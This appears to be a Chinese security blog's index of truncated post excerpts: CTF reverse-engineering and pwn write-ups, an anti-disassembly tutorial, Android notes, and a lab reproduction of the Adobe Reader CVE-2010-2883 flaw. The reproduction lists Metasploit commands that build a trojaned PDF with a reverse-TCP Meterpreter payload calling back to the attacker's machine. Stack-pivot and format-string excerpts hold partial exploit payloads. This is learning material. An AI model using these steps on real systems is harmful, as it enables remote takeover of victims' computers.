CVE-2010-2883
@TOC
简介Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。环境:adobe reader 9.3kali (虚拟机)winxp(靶机)
漏洞复现1生成pdf木马文件
123456789msfconsole #进入mfssearch adobe_cooltype_sing #搜索模块use exploit/windows/fileformat/adobe_cooltype_sing/ #调用模块info #查看信息set payload windows/meterpreter/reverse_tcp #调用meterpreter载荷,反向连接到渗透机 set LHOST 192.168.244.146 #kali ipset LPORT 8888 #端口set FILENAME PINGINGLAB.pdf #设置带有后门程序的PDF文件exploit #生成pdf
2 Metasploit开启shell监听会话,等待winxp打开pdf
12345use exploit/multi/hand ...
告别2021,启动2022(记事篇)
18c641843e597c01c3cc995e4a8f3faaa102222f17c15fe2fa2485624b0417bda735309c84fd6a7dd6c5b37fae53980ecf4d513945c9740717e54e74164a3fffe223bcffa7e8069f09a5515e133432196473d32ce513736704f75f69c7f74c4c9a9144142b57e2fa60dfd7d7725e5a1c69c4f0ec8838987aa1e1d7f58313b1b224bb4021b50a72bc8bdd6044ebc3f9040e50004333928e64c70420ab4a09beb7a159fa02fb771daf8a95f4f1e856062e6eee4348f7cd562c832c963b82391692f1cbe68503151cadf26a33b1b3750753243d849afa9e19578557d8dd8eb254f4e932b3421c1efa8dfbae946f61c81c516ed89168b29d3cbc6 ...
Hack.lu.CTF
@TOC先复现两个low难度的提目,后面的题目再看看(2021.11.2 更:继续复现了ollvm)
pycoinpyc文件反编译后
1234567891011# uncompyle6 version 3.7.4# Python bytecode 3.8 (3413)# Decompiled from: Python 3.7.10 (default, May 3 2021, 02:48:31) # [GCC 7.5.0]# Embedded file name: challenge_generated.py# Compiled at: 2021-10-27 14:40:15# Size of source mod 2**32: 2836 bytesimport marshalmarshalled = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xf3\xf0\x01\x00\x00n\x02tcd\x00d\x01l\x ...
栈迁移
@TOC
最近做了很多栈迁移的题目,做个总结
条件栈溢出时,返回地址只剩下1字长 无法构造pop链
栈迁移利用连续的两次 leave_ret 达到控制esp的目的第一次leave_ret去控制假的ebp第二次leave_ret去控制esp迁移的地方需要有写的权限
思路1(两次read情况)第一次read的时候把我们要迁移的地方覆盖ebp 返回地址填leave_ret第二次read的时候来构造我们迁移的地方
例题1:gyctf_2020_borrowstack可以看到第一次在栈上读,溢出只有8字节第二次在bss上读,可以用来构造payload
123456payload='a'*(0x60)+p64(bank_addr+0xd0)+p64(leave_ret)io.send(payload)io.recvuntil('Done!You can check and use your borrow stack now!\n')payload='a'*(8+0xd0)+p64(pop_rdi)+p64(read_got)+p64(pu ...
buu:axb_2019_fmt32(格串)
@TOC
起因之所以记录这个题,是因为我调试了一整天才调试好,一个小小的格串,实在把我卡住了。。。参考:https://www.freesion.com/article/6942500911/ (写的很详细)
分析程序逻辑:循环输入,然后用print输出
思路这里read没有溢出,所以需要修改got表,来执行system函数,先用格串泄露system的地址,在把strlen的got表修改成system的地址,执行strlen,拿到shell
泄露system的地址(这里我是拿的本机的libc调试的,后面发现打不通远程)(ubutun18)
输入aaaabbbb0xffffcc9c:是我们读入数据的地方(也是%1$p)0xffffccb4:是我们要泄露数据的地方不算上面那个0x61的话 中间差了6个字节那么我们就可以这样构造‘a’+p32(read_got)+’%7$p’再次试一下可以看到已经显示出来我们想要的地址了,0xf7e89d60就是我们要泄露的read的实际地址但是前面还有一堆东西,我们可以这么构造,直接读出read_addr求一下libc的基质,发现后三个为0,应该没问题
1 ...
Android 操作系统学习
@TOC
起因最近学习安卓的思想高涨,原因是有个师傅让我帮他看一道安卓题,顺便发了个类似题目的链接https://www.52pojie.cn/thread-1205156-1-1.html我看了直呼内行,加上之前并没有系统的学习过安卓逆向,接下来的一段时间内,我会朝着安卓和iot的方向研究,玩玩新花样
架构Android是谷歌开发的一款基于Linux的开源操作系统,Android底层内核空间以Linux Kernel作为基石,上层用户空间由Native系统库、虚拟机运行环境、框架层组成,通过系统调用(Syscall)连通系统的内核空间与用户空间。对于用户空间主要采用C++和Java代码编写,通过JNI技术打通用户空间的Java层和Native层(C++/C),从而连通整个系统。
Power Management当打开手机电源时,引导芯片从固化在ROM里面的代码执行,加载程序到RAM,检查一系列参数
Linux Kernel1启动swapper进程(idle进程)(pid=0),内核的第一个进程,用作初始化进程管理,内存管理等操作2启动kthreadd进程(pid=2),为创建其他进程 ...
西邮校赛 re wp
@TOC
写在前面本次re题一共放了四道,ez_math和ez_code由大二学弟所出,其他的两道是我出的。题目本着简单,有趣,快乐的思想,让大一的新生更友好的接触re这个方向,所以题目都不会太难(大二老油条请划走)
ez_math附件打开是一个c语言源代码 不用任何工具直接分析即可在主函数里有着清晰的逻辑,对flag进行一系列加密后 与已知的字符串作比较,那么我们写解密脚本即可
12345678910111213141516#include<stdio.h>#include<string.h>char a[100]={106, 112, 91, 105, 117, 79, 91, 120, 100, 97, 67, 109, 97, 71, 71, 71, 91, 109, 115, 127};int main(){ for(int i=0;i<20;i++){ a[i]-=1; a[i]-=2; a[i]^=5; a[i]+=1; a[i]-=2; a[i]+=5; } puts(a); ...
第五空间&&长城杯线下
18c641843e597c01c3cc995e4a8f3faaa102222f17c15fe2fa2485624b0417bda735309c84fd6a7dd6c5b37fae53980ecf4d513945c9740717e54e74164a3fff0eb676d10507efaa38ad9500f8ccbef41388ac9b40bbbe6bf412609f8e68c50a24e4390a681d676d41eca181de24f4c2c11f50bbdbac80a0fdef5ea9cad673fb3262af18a638bc83d4c053175fd28420e48df741527959c7d8e61b7f9a5e684e6a06ca14c940e9dcd4b9c987fa7ae5eb17e5adad73981fa1d8a0b3b67dd47cfdbae6c962d4cc2b13004b139709e0117781e0442e9dcc864e5448c3826cbe4af85fe0e16a4735f7dbcfe1760218d0adde4dd3f19c2c6d48082 ...
花指令
@TOC
前言花指令都是在比赛中经常碰见,已经属于老掉牙的东西了,现在回过头来总结总结,一定会有不一样的收获
花指令花指令是一种静态混淆的手段,在我们静态分析时,会出现各种ida f5报错的问题,并且代码看起来十分混乱,无论是对于ida这种递归下降扫描,还是od那种线性扫描都会起到一定的阻碍的效果。但不管怎么样,代码运行起来的时候,总会无差错的执行。
常见花指令1 最常见的花指令就是在代码中 插入了E9这个机器码,E9 在汇编中对应着jmp指令,当ida读到E9时,会默认把后面四个字节作为地址,如果前面的代码里刚好有jmp之类的跳转指令跳到这里就会发生错误类似的还有 E8 (call指令),也会把后面四个作为地址来使用
这种花指令的去除,就是把报错的地址 d 变成数据,把无用的数据nop掉,剩下的 c重新汇编就行
2 不管怎么都跳的指令这种就直接把中间的没有的数据全部nop
3 call ret花指令
中间插入的垃圾数据会直接跳过这种要分析其流程 patch掉合适的内容
4 栈帧出错的问题
代码有时候 会把rsp乱加减一个大数,就会出现栈帧报错的问题,类似这种直接nop掉即可,其他的情 ...
2021 绿城杯 re wp
@TOC
这次绿城杯又被大师傅带飞了,我又明明白白的躺了一次,比赛一共3个re +一个安卓我只做了两个,其他被师傅们秒了
easy_re(二血)ida打开 发现是rc4算法里面有一点小改变 中间异或了0x37
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849#include<stdio.h>#include<stdlib.h>#include<string.h>int b[300];int s[300];char key[10]="tallmewhy";//(变) char data[1000]={ 0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4, 0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7, 0x0B, 0x8D, 0xE8, 0xB8, ...